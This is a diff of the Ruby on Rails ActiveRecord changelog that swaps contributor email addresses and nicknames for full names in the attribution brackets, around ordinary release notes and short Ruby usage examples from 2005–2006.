+* Added better exception error when unknown column types are used with migrations #1814 [François Beausoleil]
 
 * Fixed "connection lost" issue with the bundled Ruby/MySQL driver (would kill the app after 8 hours of inactivity) #2163, #428 [kajism@yahoo.com]
 
@@ -2546,13 +2618,13 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Make sure the schema_info table is created before querying the current version #1903
 
-* Fixtures ignore table name prefix and suffix #1987 [Jakob S]
+* Fixtures ignore table name prefix and suffix #1987 [Jakob Skjerning]
 
-* Add documentation for index_type argument to add_index method for migrations #2005 [blaine@odeo.com]
+* Add documentation for index_type argument to add_index method for migrations #2005 [Blaine]
 
 * Modify read_attribute to allow a symbol argument #2024 [Ken Kunz]
 
-* Make destroy return self #1913 [sebastian.kanthak@muehlheim.de]
+* Make destroy return self #1913 [Sebastian Kanthak]
 
 * Fix typo in validations documentation #1938 [court3nay]
 
@@ -2574,7 +2646,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed the handling of multiple blob columns in Oracle if one or more of them are null #1798
 
-* Added support for calling constrained class methods on has_many and has_and_belongs_to_many collections #1764 [Tobias Luetke]
+* Added support for calling constrained class methods on has_many and has_and_belongs_to_many collections #1764 [Tobias Lütke]
 
     class Comment < AR:B
       def self.search(q)
@@ -2606,19 +2678,19 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 *1.11.1* (11 July, 2005)
 
-* Added support for limit and offset with eager loading of has_one and belongs_to associations. Using the options with has_many and has_and_belongs_to_many associations will now raise an ActiveRecord::ConfigurationError #1692 [Rick Olsen]
+* Added support for limit and offset with eager loading of has_one and belongs_to associations. Using the options with has_many and has_and_belongs_to_many associations will now raise an ActiveRecord::ConfigurationError #1692 [Rick Olson]
 
 * Fixed that assume_bottom_position (in acts_as_list) could be called on items already last in the list and they would move one position away from the list #1648 [tyler@kianta.com]
 
 * Added ActiveRecord::Base.threaded_connections flag to turn off 1-connection per thread (required for thread safety). By default it's on, but WEBrick in Rails need it off #1685 [Sam Stephenson]
 
-* Correct reflected table name for singular associations.  #1688 [court3nay@gmail.com]
+* Correct reflected table name for singular associations.  #1688 [court3nay]
 
 * Fixed optimistic locking with SQL Server #1660 [tom@popdog.net]
 
 * Added ActiveRecord::Migrator.migrate that can figure out whether to go up or down based on the target version and the current
 
-* Added better error message for "packets out of order" #1630 [courtenay]
+* Added better error message for "packets out of order" #1630 [court3nay]
 
 * Fixed first run of "rake migrate" on PostgreSQL by not expecting a return value on the id #1640
 
@@ -2629,7 +2701,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Changed logging of SQL statements to use the DEBUG level instead of INFO
 
-* Added new Migrations framework for describing schema transformations in a way that can be easily applied across multiple databases #1604 [Tobias Luetke] See documentation under ActiveRecord::Migration and the additional support in the Rails rakefile/generator.
+* Added new Migrations framework for describing schema transformations in a way that can be easily applied across multiple databases #1604 [Tobias Lütke] See documentation under ActiveRecord::Migration and the additional support in the Rails rakefile/generator.
 
 * Added callback hooks to association collections #1549 [Florian Weber]. Example:
 
@@ -2652,13 +2724,13 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Speed up ActiveRecord#method_missing for the common case (read_attribute).
 
-* Only notify observers on after_find and after_initialize if these methods are defined on the model.  #1235 [skaes@web.de]
+* Only notify observers on after_find and after_initialize if these methods are defined on the model.  #1235 [Stefan Kaes]
 
 * Fixed that single-table inheritance sub-classes couldn't be used to limit the result set with eager loading #1215 [Chris McGrath]
 
 * Fixed validates_numericality_of to work with overrided getter-method when :allow_nil is on #1316 [raidel@onemail.at]
 
-* Added roots, root, and siblings to the batch of methods added by acts_as_tree #1541 [michael@schuerig.de]
+* Added roots, root, and siblings to the batch of methods added by acts_as_tree #1541 [Michael Schuerig]
 
 * Added support for limit/offset with the MS SQL Server driver so that pagination will now work #1569 [DeLynn Berry]
 
@@ -2680,7 +2752,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
       :conditions => 'project_id=1'
     )    
 
-* Fixed that validations didn't respecting custom setting for too_short, too_long messages #1437 [Marcel Molina]
+* Fixed that validations didn't respecting custom setting for too_short, too_long messages #1437 [Marcel Molina Jr.]
 
 * Fixed that clear_association_cache doesn't delete new associations on new records (so you can safely place new records in the session with Action Pack without having new associations wiped) #1494 [cluon]
 
@@ -2707,7 +2779,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Corrected typo in find SQL for has_and_belongs_to_many.  #1312 [ben@bensinclair.com]
 
-* Fixed sanitized conditions for has_many finder method.  #1281 [jackc@hylesanderson.com, pragdave, Tobias Luetke]
+* Fixed sanitized conditions for has_many finder method.  #1281 [jackc@hylesanderson.com, pragdave, Tobias Lütke]
 
 * Comprehensive PostgreSQL schema support.  Use the optional schema_search_path directive in database.yml to give a comma-separated list of schemas to search for your tables.  This allows you, for example, to have tables in a shared schema without having to use a custom table name.  See http://www.postgresql.org/docs/8.0/interactive/ddl-schemas.html to learn more.  #827 [dave@cherryville.org]
 
@@ -2765,15 +2837,15 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     # SELECT * FROM topics WHERE title IN ('First', 'Second')
     Topic.find_all_by_title(["First", "Second"])
 
-* Added compatibility with camelCase column names for dynamic finders #533 [Dee.Zsombor]
+* Added compatibility with camelCase column names for dynamic finders #533 [Dee Zsombor]
 
-* Fixed extraneous comma in count() function that made it not work with joins #1156 [jarkko/Dee.Zsombor]
+* Fixed extraneous comma in count() function that made it not work with joins #1156 [Jarkko Laine/Dee Zsombor]
 
 * Fixed incompatibility with Base#find with an array of ids that would fail when using eager loading #1186 [Alisdair McDiarmid]
 
 * Fixed that validate_length_of lost :on option when :within was specified #1195 [jhosteny@mac.com]
 
-* Added encoding and min_messages options for PostgreSQL #1205 [shugo]. Configuration example:
+* Added encoding and min_messages options for PostgreSQL #1205 [Shugo Maeda]. Configuration example:
 
     development:
       adapter: postgresql
@@ -2831,7 +2903,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     a single query.  A good use case for this is a threaded post system, where you want
     to display every reply to a comment without multiple selects.
 
-* Added Base.save! that attempts to save the record just like Base.save but will raise a RecordInvalid exception instead of returning false if the record is not valid [After much pestering from Dave Thomas]
+* Added Base.save! that attempts to save the record just like Base.save but will raise a RecordInvalid exception instead of returning false if the record is not valid [Dave Thomas]
 
 * Fixed PostgreSQL usage of fixtures with regards to public schemas and table names with dots #962 [gnuman1@gmail.com]
 
@@ -2861,7 +2933,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed counter_sql when no records exist in database for PostgreSQL (would give error, not 0) #1039 [Caleb Tennis]
 
-* Fixed that benchmarking times for rendering included db runtimes #987 [skaes@web.de]
+* Fixed that benchmarking times for rendering included db runtimes #987 [Stefan Kaes]
 
 * Fixed boolean queries for t/f fields in PostgreSQL #995 [dave@cherryville.org]
 
@@ -2869,9 +2941,9 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed auto-stamping of dates (created_on/updated_on) for PostgreSQL #985 [dave@cherryville.org]
 
-* Fixed Base.silence/benchmark to only log if a logger has been configured #986 [skaes@web.de]
+* Fixed Base.silence/benchmark to only log if a logger has been configured #986 [Stefan Kaes]
 
-* Added a join parameter as the third argument to Base.find_first and as the second to Base.count #426, #988 [skaes@web.de]
+* Added a join parameter as the third argument to Base.find_first and as the second to Base.count #426, #988 [Stefan Kaes]
 
 * Fixed bug in Base#hash method that would treat records with the same string-based id as different [Dave Thomas]
 
@@ -2957,7 +3029,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     account.save # => CC with id = 12 is destroyed
 
 
-* Added validates_numericality_of #716 [skanthak/c.r.mcgrath]. Docuemntation:
+* Added validates_numericality_of #716 [Sebastian Kanthak/Chris McGrath]. Docuemntation:
 
     Validates whether the value of the specified attribute is numeric by trying to convert it to
     a float with Kernel.Float (if <tt>integer</tt> is false) or applying it to the regular expression
@@ -3027,7 +3099,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     4. Added logic to the simplified_type method that allows the database to specify the scale of float data. 
     5. Adjusted the quote_column_name to account for the fact that MS SQL is bothered by a forward slash in the data string.
 
-* Fixed that the dynamic finder like find_all_by_something_boolean(false) didn't work #649 [lmarlow@yahoo.com]
+* Fixed that the dynamic finder like find_all_by_something_boolean(false) didn't work #649 [lmarlow]
 
 * Added validates_each that validates each specified attribute against a block #610 [Jeremy Kemper]. Example:
 
@@ -3210,17 +3282,17 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed that that multiparameter assignment doesn't work with aggregations (closes #4620) [Lars Pind]
 
-* Enable Limit/Offset in Calculations (closes #4558) [lmarlow@yahoo.com]
+* Enable Limit/Offset in Calculations (closes #4558) [lmarlow]
 
-* Fixed that loading including associations returns all results if Load IDs For Limited Eager Loading returns none (closes #4528) [Rick]
+* Fixed that loading including associations returns all results if Load IDs For Limited Eager Loading returns none (closes #4528) [Rick Olson]
 
 * Fixed HasManyAssociation#find bugs when :finder_sql is set #4600 [lagroue@free.fr]
 
-* Allow AR::Base#respond_to? to behave when @attributes is nil [zenspider]
+* Allow AR::Base#respond_to? to behave when @attributes is nil [Ryan Davis]
 
-* Support eager includes when going through a polymorphic has_many association. [Rick]
+* Support eager includes when going through a polymorphic has_many association. [Rick Olson]
 
-* Added support for eagerly including polymorphic has_one associations. (closes #4525) [Rick]
+* Added support for eagerly including polymorphic has_one associations. (closes #4525) [Rick Olson]
 
     class Post < ActiveRecord::Base
       has_one :tagging, :as => :taggable
@@ -3228,9 +3300,9 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     
     Post.find :all, :include => :tagging
 
-* Added descriptive error messages for invalid has_many :through associations: going through :has_one or :has_and_belongs_to_many [Rick]
+* Added descriptive error messages for invalid has_many :through associations: going through :has_one or :has_and_belongs_to_many [Rick Olson]
 
-* Added support for going through a polymorphic has_many association: (closes #4401) [Rick]
+* Added support for going through a polymorphic has_many association: (closes #4401) [Rick Olson]
 
     class PhotoCollection < ActiveRecord::Base
       has_many :photos, :as => :photographic
@@ -3248,36 +3320,36 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Changed those private ActiveRecord methods to take optional third argument :auto instead of nil for performance optimizations.  (closes #4456) [Stefan]
 
-* Private ActiveRecord methods add_limit!, add_joins!, and add_conditions! take an OPTIONAL third argument 'scope' (closes #4456) [Rick]
+* Private ActiveRecord methods add_limit!, add_joins!, and add_conditions! take an OPTIONAL third argument 'scope' (closes #4456) [Rick Olson]
 
-* DEPRECATED: Using additional attributes on has_and_belongs_to_many associations. Instead upgrade your association to be a real join model [DHH]
+* DEPRECATED: Using additional attributes on has_and_belongs_to_many associations. Instead upgrade your association to be a real join model [David Heinemeier Hansson]
 
-* Fixed that records returned from has_and_belongs_to_many associations with additional attributes should be marked as read only (fixes #4512) [DHH]
+* Fixed that records returned from has_and_belongs_to_many associations with additional attributes should be marked as read only (fixes #4512) [David Heinemeier Hansson]
 
 * Do not implicitly mark recordss of has_many :through as readonly but do mark habtm records as readonly (eventually only on join tables without rich attributes). [Marcel Mollina Jr.]
 
-* Fixed broken OCIAdapter #4457 [schoenm@earthlink.net]
+* Fixed broken OCIAdapter #4457 [Michael Schoen]
 
 
 *1.14.0* (March 27th, 2006)
 
 * Replace 'rescue Object' with a finer grained rescue. Closes #4431. [Nicholas Seckar]
 
-* Fixed eager loading so that an aliased table cannot clash with a has_and_belongs_to_many join table [Rick]
+* Fixed eager loading so that an aliased table cannot clash with a has_and_belongs_to_many join table [Rick Olson]
 
 * Add support for :include to with_scope [andrew@redlinesoftware.com]
 
-* Support the use of public synonyms with the Oracle adapter; required ruby-oci8 v0.1.14 #4390 [schoenm@earthlink.net]
+* Support the use of public synonyms with the Oracle adapter; required ruby-oci8 v0.1.14 #4390 [Michael Schoen]
 
 * Change periods (.) in table aliases to _'s.  Closes #4251 [jeff@ministrycentered.com]
 
-* Changed has_and_belongs_to_many join to INNER JOIN for Mysql 3.23.x.  Closes #4348 [Rick]
+* Changed has_and_belongs_to_many join to INNER JOIN for Mysql 3.23.x.  Closes #4348 [Rick Olson]
 
-* Fixed issue that kept :select options from being scoped [Rick]
+* Fixed issue that kept :select options from being scoped [Rick Olson]
 
-* Fixed db_schema_import when binary types are present #3101 [DHH]
+* Fixed db_schema_import when binary types are present #3101 [David Heinemeier Hansson]
 
-* Fixed that MySQL enums should always be returned as strings #3501 [DHH]
+* Fixed that MySQL enums should always be returned as strings #3501 [David Heinemeier Hansson]
 
 * Change has_many :through to use the :source option to specify the source association.  :class_name is now ignored. [Rick Olson]
 
@@ -3308,13 +3380,13 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
       end
     end
     
-* Fixed that schema changes while the database was open would break any connections to a SQLite database (now we reconnect if that error is throw) [DHH]
+* Fixed that schema changes while the database was open would break any connections to a SQLite database (now we reconnect if that error is throw) [David Heinemeier Hansson]
 
-* Don't classify the has_one class when eager loading, it is already singular. Add tests. (closes #4117) [jonathan@bluewire.net.nz]
+* Don't classify the has_one class when eager loading, it is already singular. Add tests. (closes #4117) [Jonathan Viney]
 
 * Quit ignoring default :include options in has_many :through calls [Mark James]
 
-* Allow has_many :through associations to find the source association by setting a custom class (closes #4307) [jonathan@bluewire.net.nz]
+* Allow has_many :through associations to find the source association by setting a custom class (closes #4307) [Jonathan Viney]
 
 * Eager Loading support added for has_many :through => :has_many associations (see below).  [Rick Olson]
 
@@ -3334,13 +3406,13 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
       belongs_to :client
     end
 
-* Raise error when trying to select many polymorphic objects with has_many :through or :include (closes #4226) [josh@hasmanythrough.com]
+* Raise error when trying to select many polymorphic objects with has_many :through or :include (closes #4226) [Josh Susser]
 
-* Fixed has_many :through to include :conditions set on the :through association. closes #4020 [jonathan@bluewire.net.nz]
+* Fixed has_many :through to include :conditions set on the :through association. closes #4020 [Jonathan Viney]
 
-* Fix that has_many :through honors the foreign key set by the belongs_to association in the join model (closes #4259) [andylien@gmail.com / Rick]
+* Fix that has_many :through honors the foreign key set by the belongs_to association in the join model (closes #4259) [andylien@gmail.com / Rick Olson]
 
-* SQL Server adapter gets some love #4298 [rtomayko@gmail.com]
+* SQL Server adapter gets some love #4298 [Ryan Tomayko]
 
 * Added OpenBase database adapter that builds on top of the http://www.spice-of-life.net/ruby-openbase/ driver. All functionality except LIMIT/OFFSET is supported #3528 [derrickspell@cdmplus.com]
 
@@ -3348,27 +3420,27 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
     Author.find(:all, :include => { :posts => :special_comments }, :order => 'special_comments.body')
 
-* Add AbstractAdapter#table_alias_for to create table aliases according to the rules of the current adapter. [Rick]
+* Add AbstractAdapter#table_alias_for to create table aliases according to the rules of the current adapter. [Rick Olson]
 
-* Provide access to the underlying database connection through Adapter#raw_connection. Enables the use of db-specific methods without complicating the adapters. #2090 [Koz]
+* Provide access to the underlying database connection through Adapter#raw_connection. Enables the use of db-specific methods without complicating the adapters. #2090 [Michael Koziarski]
 
-* Remove broken attempts at handling columns with a default of 'now()' in the postgresql adapter. #2257 [Koz]
+* Remove broken attempts at handling columns with a default of 'now()' in the postgresql adapter. #2257 [Michael Koziarski]
 
-* Added connection#current_database that'll return of the current database (only works in MySQL, SQL Server, and Oracle so far -- please help implement for the rest of the adapters) #3663 [Tom ward]
+* Added connection#current_database that'll return of the current database (only works in MySQL, SQL Server, and Oracle so far -- please help implement for the rest of the adapters) #3663 [Tom Ward]
 
 * Fixed that Migration#execute would have the table name prefix appended to its query #4110 [mark.imbriaco@pobox.com]
 
 * Make all tinyint(1) variants act like boolean in mysql (tinyint(1) unsigned, etc.) [Jamis Buck]
 
-* Use association's :conditions when eager loading. [jeremyevans0@gmail.com] #4144
+* Use association's :conditions when eager loading. [Jeremy Evans] #4144
 
-* Alias the has_and_belongs_to_many join table on eager includes. #4106 [jeremyevans0@gmail.com]
+* Alias the has_and_belongs_to_many join table on eager includes. #4106 [Jeremy Evans]
 
   This statement would normally error because the projects_developers table is joined twice, and therefore joined_on would be ambiguous.
 
     Developer.find(:all, :include => {:projects => :developers}, :conditions => 'join_project_developers.joined_on IS NOT NULL')
 
-* Oracle adapter gets some love #4230 [schoenm@earthlink.net]
+* Oracle adapter gets some love #4230 [Michael Schoen]
 
     * Changes :text to CLOB rather than BLOB [Moses Hohman]
     * Fixes an issue with nil numeric length/scales (several)
@@ -3403,7 +3475,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
       has_many :attachments, :as => :attachable, :dependent => :delete_all
     end
 
-* Nicer error message on has_many :through when :through reflection can not be found. #4042 [court3nay@gmail.com]
+* Nicer error message on has_many :through when :through reflection can not be found. #4042 [court3nay]
 
 * Upgrade to Transaction::Simple 1.3 [Jamis Buck]
 
@@ -3415,7 +3487,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Dynamically set allow_concurrency.  #4044 [Stefan Kaes]
 
-* Added Base#to_xml that'll turn the current record into a XML representation [DHH]. Example:
+* Added Base#to_xml that'll turn the current record into a XML representation [David Heinemeier Hansson]. Example:
 
     topic.to_xml
   
@@ -3550,9 +3622,9 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * CHANGED DEFAULT: set ActiveRecord::Base.allow_concurrency to false.  Most AR usage is in single-threaded applications. [Jeremy Kemper]
 
-* Renamed the "oci" adapter to "oracle", but kept the old name as an alias #4017 [schoenm@earthlink.net]
+* Renamed the "oci" adapter to "oracle", but kept the old name as an alias #4017 [Michael Schoen]
 
-* Fixed that Base.save should always return false if the save didn't succeed, including if it has halted by before_save's #1861, #2477 [DHH]
+* Fixed that Base.save should always return false if the save didn't succeed, including if it has halted by before_save's #1861, #2477 [David Heinemeier Hansson]
 
 * Speed up class -> connection caching and stale connection verification.  #3979 [Stefan Kaes]
 
@@ -3560,7 +3632,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Added that fixtures to placed in subdirectories of the main fixture files are also loaded #3937 [dblack@wobblini.net]
 
-* Define attribute query methods to avoid method_missing calls. #3677 [jonathan@bluewire.net.nz]
+* Define attribute query methods to avoid method_missing calls. #3677 [Jonathan Viney]
 
 * ActiveRecord::Base.remove_connection explicitly closes database connections and doesn't corrupt the connection cache. Introducing the disconnect! instance method for the PostgreSQL, MySQL, and SQL Server adapters; implementations for the others are welcome.  #3591 [Simon Stapleton, Tom Ward]
 
@@ -3584,7 +3656,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed validates_length_of to work on UTF-8 strings by using characters instead of bytes #3699 [Masao Mutoh]
 
-* Fixed that reflections would bleed across class boundaries in single-table inheritance setups #3796 [lars@pind.com]
+* Fixed that reflections would bleed across class boundaries in single-table inheritance setups #3796 [Lars Pind]
 
 * Added calculations: Base.count, Base.average, Base.sum, Base.minimum, Base.maxmium, and the generic Base.calculate. All can be used with :group and :having. Calculations and statitics need no longer require custom SQL. #3958 [Rick Olson]. Examples:
 
@@ -3593,7 +3665,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     Person.maximum :age
     Person.sum :salary, :group => :last_name
 
-* Renamed Errors#count to Errors#size but kept an alias for the old name (and included an alias for length too) #3920 [contact@lukeredpath.co.uk]
+* Renamed Errors#count to Errors#size but kept an alias for the old name (and included an alias for length too) #3920 [Luke Redpath]
 
 * Reflections don't attempt to resolve module nesting of association classes. Simplify type computation. [Jeremy Kemper]
 
@@ -3601,7 +3673,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed that the schema_info table used by ActiveRecord::Schema.define should respect table pre- and suffixes #3834 [rubyonrails@atyp.de]
 
-* Added :select option to Base.count that'll allow you to select something else than * to be counted on. Especially important for count queries using DISTINCT #3839 [skaes]
+* Added :select option to Base.count that'll allow you to select something else than * to be counted on. Especially important for count queries using DISTINCT #3839 [Stefan Kaes]
 
 * Correct syntax error in mysql DDL,  and make AAACreateTablesTest run first [Bob Silva]
 
@@ -3617,19 +3689,19 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fix problems with count when used with :include [Jeremy Hopple and Kevin Clark]
 
-* ActiveRecord::RecordInvalid now states which validations failed in its default error message [Tobias Luetke]
+* ActiveRecord::RecordInvalid now states which validations failed in its default error message [Tobias Lütke]
 
-* Using AssociationCollection#build with arrays of hashes should call build, not create [DHH]
+* Using AssociationCollection#build with arrays of hashes should call build, not create [David Heinemeier Hansson]
 
 * Remove definition of reloadable? from ActiveRecord::Base to make way for new Reloadable code. [Nicholas Seckar]
 
 * Fixed schema handling for DB2 adapter that didn't work: an initial schema could be set, but it wasn't used when getting tables and indexes #3678 [Maik Schmidt]
 
-* Support the :column option for remove_index with the PostgreSQL adapter. #3661 [shugo@ruby-lang.org]
+* Support the :column option for remove_index with the PostgreSQL adapter. #3661 [Shugo Maeda]
 
 * Add documentation for add_index and remove_index. #3600 [Manfred Stienstra <m.stienstra@fngtps.com>]
 
-* If the OCI library is not available, raise an exception indicating as much. #3593 [schoenm@earthlink.net]
+* If the OCI library is not available, raise an exception indicating as much. #3593 [Michael Schoen]
 
 * Add explicit :order in finder tests as postgresql orders results differently by default. #3577. [Rick Olson]
 
@@ -3637,7 +3709,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Show a meaningful error when the DB2 adapter cannot be loaded due to missing dependencies. [Nicholas Seckar]
 
-* Make .count work for has_many associations with multi line finder sql [schoenm@earthlink.net]
+* Make .count work for has_many associations with multi line finder sql [Michael Schoen]
 
 * Add AR::Base.base_class for querying the ancestor AR::Base subclass [Jamis Buck]
 
@@ -3645,13 +3717,13 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Don't hardcode 'id' in acts as list.  [ror@philippeapril.com]
 
-* Fix date errors for SQLServer in association tests. #3406 [kevin.clark@gmal.com]
+* Fix date errors for SQLServer in association tests. #3406 [Kevin Clark]
 
 * Escape database name in MySQL adapter when creating and dropping databases. #3409 [anna@wota.jp]
 
 * Disambiguate table names for columns in validates_uniquness_of's WHERE clause. #3423 [alex.borovsky@gmail.com]
 
-* .with_scope imposed create parameters now bypass attr_protected [Tobias Luetke]
+* .with_scope imposed create parameters now bypass attr_protected [Tobias Lütke]
 
 * Don't raise an exception when there are more keys than there are named bind variables when sanitizing conditions. [Marcel Molina Jr.]
 
@@ -3659,25 +3731,25 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Sanitize scoped conditions. [Marcel Molina Jr.]
 
-* Added option to Base.reflection_of_all_associations to specify a specific association to scope the call. For example Base.reflection_of_all_associations(:has_many) [DHH]
+* Added option to Base.reflection_of_all_associations to specify a specific association to scope the call. For example Base.reflection_of_all_associations(:has_many) [David Heinemeier Hansson]
 
-* Added ActiveRecord::SchemaDumper.ignore_tables which tells SchemaDumper which tables to ignore. Useful for tables with funky column like the ones required for tsearch2. [TobiasLuetke]
+* Added ActiveRecord::SchemaDumper.ignore_tables which tells SchemaDumper which tables to ignore. Useful for tables with funky column like the ones required for tsearch2. [Tobias Lütke]
 
-* SchemaDumper now doesn't fail anymore when there are unknown column types in the schema. Instead the table is ignored and a Comment is left in the schema.rb. [TobiasLuetke]
+* SchemaDumper now doesn't fail anymore when there are unknown column types in the schema. Instead the table is ignored and a Comment is left in the schema.rb. [Tobias Lütke]
 
 * Fixed that saving a model with multiple habtm associations would only save the first one.  #3244 [yanowitz-rubyonrails@quantumfoam.org, Florian Weber]
 
 * Fix change_column to work with PostgreSQL 7.x and 8.x.  #3141 [wejn@box.cz, Rick Olson, Scott Barron] 
 
-* removed :piggyback in favor of just allowing :select on :through associations. [Tobias Luetke] 
+* removed :piggyback in favor of just allowing :select on :through associations. [Tobias Lütke] 
 
-* made method missing delegation to class methods on relation target work on :through associations. [Tobias Luetke] 
+* made method missing delegation to class methods on relation target work on :through associations. [Tobias Lütke] 
 
-* made .find() work on :through relations. [Tobias Luetke] 
+* made .find() work on :through relations. [Tobias Lütke] 
 
 * Fix typo in association docs. #3296. [Blair Zajac]
 
-* Fixed :through relations when using STI inherited classes would use the inherited class's name as foreign key on the join model [Tobias Luetke] 
+* Fixed :through relations when using STI inherited classes would use the inherited class's name as foreign key on the join model [Tobias Lütke] 
 
 *1.13.2* (December 13th, 2005)
 
@@ -3685,7 +3757,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * MySQL: allow encoding option for mysql.rb driver.  [Jeremy Kemper]
 
-* Added option inheritance for find calls on has_and_belongs_to_many and has_many assosociations [DHH]. Example:
+* Added option inheritance for find calls on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]. Example:
 
     class Post
       has_many :recent_comments, :class_name => "Comment", :limit => 10, :include => :author
@@ -3695,7 +3767,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     post.recent_comments.find(:all, :limit => nil) # Uses no limit but include authors
     post.recent_comments.find(:all, :limit => nil, :include => nil) # Uses no limit and doesn't include authors
 
-* Added option to specify :group, :limit, :offset, and :select options from find on has_and_belongs_to_many and has_many assosociations [DHH]
+* Added option to specify :group, :limit, :offset, and :select options from find on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]
 
 * MySQL: fixes for the bundled mysql.rb driver.  #3160 [Justin Forder]
 
@@ -3713,7 +3785,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * MySQL: more robust test for nullified result hashes.  #3124 [Stefan Kaes]
 
-* Reloading an instance refreshes its aggregations as well as its associations.  #3024 [François Beausolei]
+* Reloading an instance refreshes its aggregations as well as its associations.  #3024 [François Beausoleil]
 
 * Fixed that using :include together with :conditions array in Base.find would cause NoMethodError #2887 [Paul Hammmond]
 
@@ -3723,9 +3795,9 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * MySQL: work around ruby-mysql/mysql-ruby inconsistency with mysql.stat.  Eliminate usage of mysql.ping because it doesn't guarantee reconnect.  Explicitly close and reopen the connection instead.  [Jeremy Kemper]
 
-* Added preliminary support for polymorphic associations [DHH]
+* Added preliminary support for polymorphic associations [David Heinemeier Hansson]
 
-* Added preliminary support for join models [DHH]
+* Added preliminary support for join models [David Heinemeier Hansson]
 
 * Allow validate_uniqueness_of to be scoped by more than just one column.  #1559. [jeremy@jthopple.com, Marcel Molina Jr.]
 
@@ -3751,7 +3823,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Add tasks to create, drop and rebuild the MySQL and PostgreSQL test  databases. [Marcel Molina Jr.]
 
-* Correct boolean handling in generated reader methods.  #2945 [don.park@gmail.com, Stefan Kaes]
+* Correct boolean handling in generated reader methods.  #2945 [Don Park, Stefan Kaes]
 
 * Don't generate read methods for columns whose names are not valid ruby method names.  #2946 [Stefan Kaes]
 
@@ -3799,7 +3871,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fix sqlite adaptor's detection of missing dbfile or database declaration. [Nicholas Seckar]
 
-* Fixed acts_as_list for definitions without an explicit :order #2803 [jonathan@bluewire.net.nz]
+* Fixed acts_as_list for definitions without an explicit :order #2803 [Jonathan Viney]
 
 * Upgrade bundled ruby-mysql 0.2.4 with mysql411 shim (see #440) to ruby-mysql 0.2.6 with a patchset for 4.1 protocol support.  Local change [301] is now a part of the main driver; reapplied local change [2182].  Removed GC.start from Result.free.  [tommy@tmtm.org, akuroda@gmail.com, Doug Fales <doug.fales@gmail.com>, Jeremy Kemper]
 
@@ -3818,7 +3890,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed faulty regex in get_table_name method (SQLServerAdapter) #2639 [Ryan Tomayko]
 
-* Added :include as an option for association declarations [DHH]. Example:
+* Added :include as an option for association declarations [David Heinemeier Hansson]. Example:
 
     has_many :posts, :include => [ :author, :comments ]
 
@@ -3833,7 +3905,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
 * Fixed that SQL Server should ignore :size declarations on anything but integer and string in the agnostic schema representation #2756 [Ryan Tomayko]
 
-* Added constrain scoping for creates using a hash of attributes bound to the :creation key [DHH]. Example:
+* Added constrain scoping for creates using a hash of attributes bound to the :creation key [David Heinemeier Hansson]. Example:
 
     Comment.constrain(:creation => { :post_id => 5 }) do
       # Associated with :post_id
@@ -3845,7 +3917,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     # If the tag doesn't exist, a new one is created that's associated with the person
     person.tags.find_or_create_by_name("Summer")
 
-* Added find_or_create_by_X as a second type of dynamic finder that'll create the record if it doesn't already exist [DHH]. Example:
+* Added find_or_create_by_X as a second type of dynamic finder that'll create the record if it doesn't already exist [David Heinemeier Hansson]. Example:
 
     # No 'Summer' tag exists
     Tag.find_or_create_by_name("Summer") # equal to Tag.create(:name => "Summer")
@@ -3853,7 +3925,7 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
     # Now the 'Summer' tag does exist
     Tag.find_or_create_by_name("Summer") # equal to Tag.find_by_name("Summer")
 
-* Added extension capabilities to has_many and has_and_belongs_to_many proxies [DHH]. Example:
+* Added extension capabilities to has_many and has_and_belongs_to_many proxies [David Heinemeier Hansson]. Example:
 
     class Account < ActiveRecord::Base
       has_many :people do
@@ -3872,9 +3944,9 @@ in effect.  Added :readonly finder constraint.  Calling an association collectio
 
   Note that the anoymous module must be declared using brackets, not do/end (due to order of evaluation).
 
-* Omit internal dtproperties table from SQLServer table list.  #2729 [rtomayko@gmail.com]
+* Omit internal dtproperties table from SQLServer table list.  #2729 [Ryan Tomayko]
 
-* Quote column names in generated SQL.  #2728 [rtomayko@gmail.com]
+* Quote column names in generated SQL.  #2728 [Ryan Tomayko]
 
 * Correct the pure-Ruby MySQL 4.1.1 shim's version test.  #2718 [Jeremy Kemper]
 
